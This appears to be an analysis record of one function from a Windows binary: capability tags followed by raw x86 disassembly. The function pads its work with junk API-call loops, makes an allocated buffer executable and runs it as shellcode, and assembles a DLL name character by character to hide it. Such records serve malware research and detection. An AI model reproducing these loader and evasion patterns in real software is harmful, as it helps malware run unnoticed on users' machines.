Function at 0x80c000
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Check for unexpected memory writes
Copy file
Delete file
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk information
Get file attributes
Get geographical location
Get system information on windows
Manipulate console buffer
Move file
Query environment variable

Disassembly:
push ebp
mov ebp, esp
and esp, 0xffffffc0
mov eax, 0x24b0
call fcn.004110e0
push ebx
mov ebx, dword [esp + 0x64]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
push edi
mov edi, dword [esp + 0x28]
xor esi, esi
cmp esi, 0x2cc42
jge 0x80c02e
call ebp
cmp dword [0xba93d8], 0x6fb
jne 0x80c04e
push 0
push 0
lea eax, [esp + 0x4c8]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
cmp esi, 0x1e9b2138
jle 0x80c066
cmp edi, 0xc10b08
je 0x80c066
cmp ebx, 0x963c600
jne 0x80c06f
inc esi
cmp esi, 0x99752
jl 0x80c024
cmp dword [0xba93d8], 0xcf8
jne 0x80c0da
push 0
push 0
push 0
call fcn.004070cc
fldz
add esp, 4
fstp qword [esp]
call fcn.00407410
fstp st(0)
fldz
fstp qword [esp]
call fcn.00407190
fstp st(0)
fldz
fstp qword [esp]
call fcn.004072e0
fstp st(0)
push 0
push 0
push 0
push 0x8246a8
call fcn.00406d94
push 0
call fcn.0040709c
add esp, 0x1c
push 0
push 0
call fcn.00406b87
add esp, 8
push 0
call fcn.0040704a
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterA]
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
xor esi, esi
cmp esi, 0x408
jne 0x80c0fb
mov eax, 0x5d1
add dword [0xba93d8], eax
cmp dword [0xba93d8], 3
jne 0x80c127
xor ecx, ecx
lea eax, [esp + 0x28]
push eax
push ecx
push ecx
push 0x4060bc
push ecx
mov dword [esp + 0x38], ecx
call edi
push 0
push 0
lea edx, [esp + 0xc8]
push edx
call ebx
inc esi
cmp esi, 0x1518d4
jl 0x80c0e8
mov eax, dword [0xba93d8]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x82943c], eax
mov eax, dword [0xba93d8]
xor esi, esi
test eax, eax
je 0x80c19e
mov ebx, dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov ebp, dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessVersion]
cmp eax, 0xfe
jne 0x80c16d
push 0
call ebx
call ebp
call fcn.0080bba0
mov eax, dword [0xba93d8]
cmp eax, 0x29
jne 0x80c199
push 0
push 0
lea ecx, [esp + 0x4c8]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
push 0
call edi
mov eax, dword [0xba93d8]
inc esi
cmp esi, eax
jb 0x80c160
cmp eax, 0x70
jne 0x80c276
push 0
lea edx, [esp + 0xc4]
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileW]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
push 0
push 0x4060d8
push 0x406128
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GenerateConsoleCtrlEvent]
push 0x406158
lea eax, [esp + 0x4c4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x4061f8
lea ecx, [esp + 0x14c4]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
xor eax, eax
lea edx, [esp + 0x2c]
push edx
push eax
mov dword [esp + 0x34], 0
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
call dword [sym.imp.KERNEL32.dll_GetCommTimeouts]
push 0
push 0
lea eax, [esp + 0xcc8]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
push 0
lea ecx, [esp + 0x1cc4]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
push 0x4061ac
push 0x406260
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov eax, dword [0xba93d8]
mov esi, dword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
mov edi, dword [sym.imp.KERNEL32.dll_FindClose]
mov ebp, dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
mov ebx, dword [sym.imp.KERNEL32.dll_CommConfigDialogA]
mov dword [esp + 0x40], 0x9682ab
cmp eax, 3
jne 0x80c2b0
lea edx, [esp + 0xc0]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
mov eax, dword [0xba93d8]
cmp eax, 0xdf
jne 0x80c420
push 0
push 0
push 0
call esi
push 0
call edi
xor eax, eax
lea edx, [esp + 0x4c]
push edx
push eax
push eax
lea ecx, [esp + 0xcc]
push ecx
push eax
mov dword [esp + 0x38], eax
call ebp
push 0
push 0
push 0
call ebx
push 0x4061cc
push 0x406280
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_DeactivateActCtx]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea edx, [esp + 0x48]
push edx
push 0
lea eax, [esp + 0x6c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
lea ecx, [esp + 0x54]
push ecx
lea edx, [esp + 0x54]
push edx
lea eax, [esp + 0x30]
push eax
push 0
push 0
push 0
mov dword [esp + 0x40], 0
call dword [sym.imp.KERNEL32.dll_GetWriteWatch]
push 0
push 0x4062e0
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
lea ecx, [esp + 0x44]
push ecx
push 0x4062a4
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
push 0
call dword [sym.imp.KERNEL32.dll_AddAtomA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push 0
call dword [sym.imp.KERNEL32.dll_HeapLock]
lea edx, [esp + 0x58]
push edx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0
lea eax, [esp + 0x4c4]
push eax
push 0x406354
call dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointA]
push 0x406364
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
xor eax, eax
mov dword [esp + 0x2c], eax
lea ecx, [esp + 0x2c]
push ecx
push eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
call dword [sym.imp.KERNEL32.dll_GetCommTimeouts]
push 0x30
lea edx, [esp + 0x94]
push 0
push edx
mov dword [esp + 0x98], 0
call fcn.00408800
add esp, 0xc
push 0
lea eax, [esp + 0x90]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigA]
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
mov eax, dword [0xba93d8]
dec dword [esp + 0x40]
jne 0x80c296
mov edi, dword [sym.imp.USER32.dll_CharUpperW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
mov esi, 0x9c3c674
jmp 0x80c440
push 0
call edi
push 0
call ebx
dec esi
jne 0x80c440
mov edx, dword [0xba93d8]
mov eax, dword [0x82943c]
lea ecx, [esp + 0x44]
push ecx
push 0x40
push edx
push eax
mov byte [0x8246a8], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.0080be40
mov edi, dword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
jmp 0x80c480
cmp dword [0xba93d8], 0xba
jne 0x80c499
lea ecx, [esp + 0x44]
push ecx
push 0
push 0
push 0
call edi
cmp esi, 0x2f64
jne 0x80c4ac
mov eax, 0
add dword [0x82943c], eax
inc esi
cmp esi, 0x1605a
jl 0x80c480
mov esi, dword [sym.imp.ADVAPI32.dll_AbortSystemShutdownW]
mov edi, 0xf2b8b
cmp dword [0xba93d8], 0x21
jne 0x80c4cd
push 0
call esi
dec edi
jne 0x80c4c0
mov edx, 0x73
mov eax, 0x6d
mov word [0xba83ea], dx
mov word [0xba83ee], ax
xor eax, eax
mov ecx, 0x33
mov edx, 0x67
mov word [0xba83f2], cx
mov word [0xba83fe], ax
mov word [0xba83f0], dx
mov eax, 0x69
mov ecx, 0x6d
mov edx, 0x6c
push 0xba83e8
mov dword [0xba83f8], 0x6c0064
mov word [0xba83ec], ax
mov word [0xba83e8], cx
mov word [0xba83fc], dx
mov dword [0xba83f4], 0x2e0032
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp dword [0xba93d8], 0xc30
jne 0x80c5d9
push 0x40637c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
xor eax, eax
lea edx, [esp + 0x2c]
push edx
push eax
push eax
push eax
push eax
mov dword [esp + 0x40], edi
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], eax
mov dword [esp + 0x50], eax
call dword [sym.imp.KERNEL32.dll_UnlockFileEx]
push 0x4063a4
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push edi
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
push edi
lea eax, [esp + 0x4c4]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VerLanguageNameA]
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateEventW]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push edi
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetCommMask]
lea ecx, [esp + 0x64]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
pop edi
xor eax, eax
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret